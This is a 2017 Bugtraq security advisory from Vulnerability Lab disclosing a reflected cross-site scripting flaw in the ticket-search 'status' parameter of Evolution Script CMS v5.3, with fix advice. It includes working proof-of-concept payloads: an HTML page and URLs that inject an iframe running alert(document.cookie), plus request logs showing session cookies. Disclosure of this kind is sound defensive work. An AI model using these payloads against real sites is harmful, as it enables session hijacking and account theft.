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Evolution Script CMS v5.3 - Cross Site Scripting Vulnerability
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugs@xxxxxxxxxxxxxxxxxxx
- Subject: Evolution Script CMS v5.3 - Cross Site Scripting Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Mon, 12 Jun 2017 10:49:15 +0200
Document Title:
===============
Evolution Script CMS v5.3 - Cross Site Scripting Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2075
Release Date:
=============
2017-06-07
Vulnerability Laboratory ID (VL-ID):
====================================
2075
Common Vulnerability Scoring System:
====================================
3.3
Vulnerability Class:
====================
Cross Site Scripting - Non Persistent
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
Developed with a new improved and powerful core. Handy User interface to manage
your business.
Maximum security for you and your members.
(Copy of the Homepage: https://www.evolutionscript.com/ )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a client-side cross
site scripting vulnerability in the official Evolution Script v5.3 Content
Management System.
Vulnerability Disclosure Timeline:
==================================
2017-06-07: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Evolution Script S.A.C.
Product: Evolution Script - Content Management System (Web-Application) 5.3
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A client-side cross site scripting vulnerability has been discovered in the
official Evolution Script v5.3 Content Management System.
The issue allows remote attackers to inject script code with client-side attack
vector to compromise browser to application requests.
The cross site vulnerability is located in the `status` parameter of the
`Ticket Support` module. Remote attackers are able to inject
own malicious script codes via GET method request. The attack vector is
non-persistent and the request method to inject is GET.
The vulnerability affects the support and administrator role in the ticket
support module.
The security risk of the vulnerability is estimated as medium with a cvss
(common vulnerability scoring system) count of 3.2.
Exploitation of the cross site vulnerability requires no privileged
web-application user account and low user interaction.
Successful exploitation results in session hijacking, non-persistent phishings
attacks, non-persistent external redirect
and malware loads or non-persistent manipulation of affected and connected
module context.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] Support Tickets
Vulnerable Parameter(s):
[+] status
Affected Role(s):
[+] Support
[+] Admin
Proof of Concept (PoC):
=======================
The client-side cross site scripting vulnerability can be exploited by remote
attackers without user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
PoC: Vulnerability
http://evolutionscript.localhost:8080/admin/?view=support&do=search&ticket=100&status=[CROSS
SITE SCRIPTING VULNERABILITY!]
PoC: Exploitation
<html>
<head><body>
<title>Evolution Script v5.3 - XSS PoC</title>
<img
src=http://evolutionscript.localhost:8080/admin/?view=support&do=search&status=1%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C>
<img
src=http://evolutionscript.localhost:8080/admin/?view=support&do=search&ticket=100&status=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C&orderby=last_update&sortby=ASC&page=1>
</body></head>
<html>
PoC: Vulnerable Source (status)
<form method="post"
action="./?view=support&do=search&ticket=100&status="><iframe
src="evil.source" onload="alert(document.cookie)"
<&orderby="last_update&sortby=ASC&page=1"">
<table width="100%" class="widget-tbl">
<tr class="titles">
<td width="20"><input type="checkbox" id="checkall"></td>
<td><a href="./?view=support&do=search&ticket=100&status="><iframe
src=evil.source onload=alert(document.cookie)
<&orderby=date&sortby=DESC&page=1">Date Submitted</a></td>
<td><a href="./?view=support&do=search&ticket=100&status="><iframe
src=evil.source onload=alert(document.cookie)
<&orderby=ticket&sortby=DESC&page=1">Ticket ID</a></td>
<td align="center"><a
href="./?view=support&do=search&ticket=100&status="><iframe src=evil.source
onload=alert(document.cookie) <&orderby=department&
sortby=DESC&page=1">Department</a></td>
<td align="center"><a
href="./?view=support&do=search&ticket=100&status="><iframe src=evil.source
onload=alert(document.cookie) <&orderby=subject&
sortby=DESC&page=1">Subject</a></td>
<td align="center"><a
href="./?view=support&do=search&ticket=100&status="><iframe src=evil.source
onload=alert(document.cookie) <&orderby=name&
sortby=DESC&page=1">Submitter</a></td>
<td align="center"><a
href="./?view=support&do=search&ticket=100&status="><iframe src=evil.source
onload=alert(document.cookie) <&orderby=status&
sortby=DESC&page=1">Status</a></td>
<td align="center"><a
href="./?view=support&do=search&ticket=100&status="><iframe src=evil.source
onload=alert(document.cookie) <&orderby=last_update&
sortby=DESC&page=1">Last Update <img
src="http://evolutionscript.localhost:8080/assets/evolution/images/asc.png";
border=0 /></a></td>
</tr><tr>
<td colspan="10" align="center">Records not found</td>
</tr></table>
--- PoC Session Logs [POST] ---
Status: 200[OK]
GET
http://evolutionscript.localhost:8080/admin/?view=support&do=search&ticket=100&status=%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%20%3C&orderby=last_update&sortby=ASC&page=1
Mime Type[text/html]
Request Header:
Host[evolutionscript.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101
Firefox/53.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Cookie[PHPSESSID=0e8be7d6ba63212e0953619ccfeaceba; evo_c_uid=support;
evo_c_pwd=434990c8a25d2be94863561ae98bd682;
evo_c_tkn=6bcb30243be64768857be1ef6f312bd1]
Connection[keep-alive]
Upgrade-Insecure-Requests[1]
Response Header:
Server[Apache]
X-Powered-By[PHP/5.6.30]
X-Mod-Pagespeed[1.11.33.4-0]
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[3331]
Keep-Alive[timeout=2, max=100]
Connection[Keep-Alive]
Content-Type[text/html; charset=utf-8]
Reference(s):
http://evolutionscript.localhost:8080/
http://evolutionscript.localhost:8080/admin/
Solution - Fix & Patch:
=======================
The security vulnerability can be resolved by a parse or escape of the status
parameter content.
Disallow the usage of special chars to prevent further script code injection
attacks.
Parse the ticket support content list and include an own exception-handling.
Security Risk:
==============
The security risk of the cross site scripting web vulnerability in the
web-application is estimated as medium (CVSS 3.3).
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] -
(https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab)
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=========================
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